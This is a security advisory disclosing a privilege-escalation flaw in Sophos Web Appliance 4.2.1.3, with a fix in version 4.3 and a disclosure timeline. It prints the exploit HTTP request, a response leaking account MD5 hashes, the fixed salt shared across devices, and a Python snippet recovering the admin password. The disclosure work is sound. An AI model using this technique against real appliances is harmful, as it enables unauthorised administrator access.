KL-001-2016-008 : Sophos Web Appliance Privilege Escalation Title: Sophos Web Appliance Privilege Escalation Advisory ID: KL-001-2016-008 Publication Date: 2016.11.03 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-008.txt 1. Vulnerability Details Affected Vendor: Sophos Affected Product: Web Apppliance Affected Version: v4.2.1.3 Platform: Embedded Linux CWE Classification: CWE-522: Insufficiently Protected Credentials, CWE-261: Weak Cryptography for Passwords Impact: Privilege Escalation Attack vector: HTTP 2. Vulnerability Description An unprivileged user can obtain an MD5 hash of the administrator password which can then be used to discover the plain-text password. 3. Technical Description A user with the privileges: Helpdesk, Policy, Reporting, or User Activity can obtain an MD5 hash for the Full Access Administrator account. A valid session identifier is required and is delivered through the STYLE parameter. GET /index.php?c=change_password&STYLE=7151e50b0389755717510f218b1af00c HTTP/1.1 Host: [redacted] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br DNT: 1 Connection: close HTTP/1.1 200 OK Date: Tue, 10 May 2016 00:36:43 GMT Server: Apache X-UA-Compatible: IE=7 Cache-Control: no-store, no-cache, must-revalidate, private, post-check=0, pre-check=0 Pragma: no-cache X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 8798 ... {"currentUser":"test","globalUser":false,"swa_title":"Change Password","usersJS":"[{\"id\":\"default_admin\",\"username\":\"admin\",\"name\":\"Default Administrator\",\"password\":\"f98d0973dffdc3a29ee67167c15b882e\",\"description\":\"Default Administrator Account\",\"admin\":true,\"roles\":\"Full Access Administrator\",\"reporting_groups\":[]},{\"id\":\"5605c1fef6927d2c45a62b0abcba5385\",\"username\":\"test\",\"name\":\"test\",\"password\":\"caeaea5602b40c779b8669b7001f3396\",\"description\":\"asdfghj\",\"admin\":false,\"roles\":[\"helpdesk\",\"policy\",\"reporting\",\"user_activity\"],\"reporting_groups\":[\"all\"]},{\"id\":\"a39244da844197796609fc5b8aad7f3c\",\"username\":\"woot\",\"name\":\"woot\",\"password\":\"f0ce19faed6df0443c80aceea4c7b7ae\",\"description\":\"none\",\"admin\":false,\"roles\":[\"helpdesk\"],\"reporting_groups\":[]}]","cma":{"joined":false,"host":"","is_cma":false,"swa_joined":false,"is_vm":true},"locale":"en","trialMode":true,"licenseDaysLeft":29,"navigation":["<a class=\"button \" id=\"lnk_cancel\" href=\"#\" onclick=\"this.blur(); return false;\">\n <span class=\"buttonLabel\">Cancel<\/span>\n<\/a>","<a class=\"button \" id=\"lnk_save\" href=\"#\" onclick=\"this.blur(); return false;\">\n <span class=\"buttonLabel\">Save<\/span>\n<\/a>"],"navigation_left":[],"status_processing":"Submitting...","status_password_dont_match":"Password mismatch","status_invalid_password":"Invalid password","status_current_password_invalid":"Current password invalid","uiStatusMessages":{"status_processing":"Submitting...","status_password_dont_match":"Password mismatch","status_invalid_password":"Invalid password","status_current_password_invalid":"Current password invalid"},"rba":{"reports":true,"search":true,"configuration":true,"system_status":false,"help_support":true,"editable":true,"current_user":"test","globalUser":false,"admin_role":false} ... A fixed salt is apparently used for all such devices: P3T3R p@rk3r The admin MD5 hash in this case is: f98d0973dffdc3a29ee67167c15b882e 4. Mitigation and Remediation Recommendation The vendor has issued a fix for this vulnerability in Version 4.3 of SWA. Release notes available at: http://swa.sophos.com/rn/swa/concepts/ReleaseNotes_4.3.html 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2016.09.09 - KoreLogic sends vulnerability report and PoC to Sophos. 2016.09.14 - Sophos requests KoreLogic re-send vulnerability details. 2016.09.28 - KoreLogic requests status update. 2016.09.28 - Sophos informs KoreLogic that an update including a fix for this vulnerability will be available near the end of October. 2016.10.13 - Sophos informs KoreLogic that the update was released to a limited customer base and is expected to be distributed at-large over the following week. 2016.11.03 - Public disclosure. 7. Proof of Concept >>> from hashlib import md5 >>> md5('P3T3R p@rk3radmin123').hexdigest() 'f98d0973dffdc3a29ee67167c15b882e' The contents of this advisory are copyright(c) 2016 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt